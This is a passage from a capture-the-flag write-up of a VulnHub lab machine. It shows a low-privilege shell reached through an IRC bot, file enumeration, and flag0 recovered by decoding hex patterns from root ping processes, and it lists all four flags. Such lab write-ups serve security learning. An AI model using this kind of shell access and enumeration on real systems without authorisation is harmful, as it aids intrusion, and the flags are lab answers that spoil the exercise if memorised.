Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/opt/Limnoria
$ id      
uid=1000(vulnhub) gid=1000(vulnhub) groups=1000(vulnhub)
$ cd /home/vulnhub
$ ls -lah
total 28K
drwx------ 3 vulnhub vulnhub 4.0K Sep 26 17:34 .
drwxr-xr-x 5 root    root    4.0K Sep 26 18:45 ..
lrwxrwxrwx 1 root    root       9 Sep 17 13:44 .bash_history -> /dev/null
-rw-r--r-- 1 vulnhub vulnhub  220 Sep 14 16:53 .bash_logout
-rw-r--r-- 1 vulnhub vulnhub 3.5K Sep 14 16:53 .bashrc
drwx------ 2 vulnhub vulnhub 4.0K Sep 14 16:53 .cache
-rw-r--r-- 1 vulnhub vulnhub  675 Sep 14 16:53 .profile
-rw-r--r-- 1 root    root      37 Sep 26 16:59 flag3
$ cat flag3
flag3{n3x7_71m3_54n17153_y0ur_1npu7}

There's our third flag!

While digging around in the process list, I note a strange ping command running.

root      7580  0.0  0.0   6500   632 ?        S    15:45   0:00 ping -c 1 -b 192.168.110.255 -p 666c6167307b7468655f717569657465 2

The string provided in the -p argument decodes to the following.

flag0{the_quiete

There was also a related process.

root      1016  0.0  0.1  18016  1524 ?        S    10:43   0:00 /bin/bash /root/ping.sh 2

This to me suggested that there was perhaps another part to this string. Running ping every so often, grepping for ping resulted in the second command.

root      7611  0.0  0.0   6500   628 ?        S    15:46   0:00 ping -c 1 -b 192.168.110.255 -p 725f796f755f6265636f6d655f746865 2

This second hex string decodes to the following.

r_you_become_the

I think we can see where this is heading.

root      7787  0.0  0.0   6500   632 ?        S    15:53   0:00 ping -c 1 -b 192.168.110.255 -p 5f6d6f72655f796f755f6172655f6162 2

Another hex string, another piece of flag0.

_more_you_are_ab

I keep looking. Another one pops up.

root      7639  0.0  0.0   6500   632 ?        S    15:57   0:00 ping -c 1 -b 192.168.110.255 -p 6c655f746f5f686561727d 2

One more string..

le_to_hear}

Putting it all together, we have another flag.

flag0{the_quieter_you_become_the_more_you_are_able_to_hear}

The machine description stated that there were four flags on this machine, and we have four flags.

  • flag0{the_quieter_you_become_the_more_you_are_able_to_hear}
  • flag1{l0l_h0w_345y_15_7h15_c7f}
  • flag2{y0u'r3_4_5upyb07_n00b_m8}
  • flag3{n3x7_71m3_54n17153_y0ur_1npu7}

After asking Rasta Mouse if the flags were indeed flag0 to flag3, it turns out they are. So, that's that.

Summary

A really fun VM - I love the machines that integrate some degree of XSS in to them, and the hidden IRC server was a wonderful touch. Thank you Rasta Mouse for the VM, and as always thank you VulnHub for hosting it!